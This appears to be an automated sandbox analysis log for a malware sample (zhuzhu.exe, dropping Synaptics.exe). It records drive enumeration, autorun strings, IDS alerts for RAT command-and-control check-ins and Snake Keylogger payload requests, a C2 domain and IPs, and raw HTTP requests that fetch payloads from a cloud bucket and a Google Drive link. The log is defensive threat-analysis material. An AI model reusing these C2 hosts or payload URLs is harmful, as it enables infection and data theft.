Source:	Binary string: SAttempt to access uninitialized member object: TVEProcessPacket.PdbForwarderContextSVWU source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: \Release\Code_Shellcode.pdb(!!GCTL source: ._cache_zhuzhu.exe, 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\832091\out\Release\360Installer.pdb source: inst.exe, 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmp, inst.exe, 00000007.00000000.1759892249.000000000021E000.00000002.00000001.01000000.0000000C.sdmp, inst.exe, 0000000C.00000000.1770278594.000000000021E000.00000002.00000001.01000000.0000000C.sdmp, inst.exe, 0000000C.00000002.1778901612.000000000021E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdb source: inst.exe, 00000007.00000002.4159349307.0000000062BE5000.00000002.00000001.01000000.00000012.sdmp, sites.dll.7.dr

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: z:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: x:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: v:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: t:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: r:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: p:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: n:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: l:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: j:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: h:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: f:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: b:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: y:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: w:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: u:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: s:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: q:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: o:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: m:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: k:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: i:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: g:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: e:
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: c:
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File opened: [:

Source: zhuzhu.exe, 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: zhuzhu.exe, 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: zhuzhu.exe, 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: zhuzhu.exe	Binary or memory string: [autorun]
Source: zhuzhu.exe	Binary or memory string: [autorun]
Source: zhuzhu.exe	Binary or memory string: autorun.inf
Source: ~$cache1.2.dr	Binary or memory string: [autorun]
Source: ~$cache1.2.dr	Binary or memory string: [autorun]
Source: ~$cache1.2.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001BD71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	7_2_001BD71E
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001CD670 _memset,FindFirstFileW,FindNextFileW,FindClose,	7_2_001CD670
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001C3FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_001C3FB0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F52A6BA _wcspbrk,__getdrive,FindFirstFileW,_wcspbrk,__wfullpath_helper,_wcslen,GetDriveTypeW,___loctotime64_t,__wsopen_s,__fstat64i32,__close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_5F52A6BA
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001CD670 _memset,FindFirstFileW,FindNextFileW,FindClose,	12_2_001CD670
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001BD71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	12_2_001BD71E
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001C3FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	12_2_001C3FB0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_037780F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

4_2_037780F0

Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 68MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49766 -> 118.107.44.219:19091
Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.4:49743 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49785 -> 118.107.44.219:19091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:50264 -> 118.107.44.219:19091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:50265 -> 118.107.44.219:19092
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49738 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49744 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49756 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49759 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49750 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49764 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49746 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49782 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49754 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49781 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49776 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49794 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49787 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49770 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49772 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49778 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49786 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49739 -> 142.250.181.238:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 118.107.44.219 ports 18852,8853,19092,19091,3,5,8

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 118.107.44.219:8853
Source: global traffic	UDP traffic: 192.168.2.4:28470 -> 1.192.136.170:3478

Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=2282&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 180.163.251.230 180.163.251.230

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /360safe/h_inst.cab?rd=34183220 HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Host: pinst.360.cnConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /360safe/h_inst.cab?rd=34183220 HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Host: pinst.360.cnConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Code function: 1_2_10001BB0 InternetOpenA,InternetOpenUrlA,fopen,HttpQueryInfoW,SendMessageW,InternetReadFile,fwrite,SendMessageW,fclose,InternetCloseHandle,InternetCloseHandle,GetParent,ShowWindow,exit,

1_2_10001BB0

Source: global traffic	HTTP traffic detected: GET /inst.exe HTTP/1.1User-Agent: URLDownloaderHost: bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
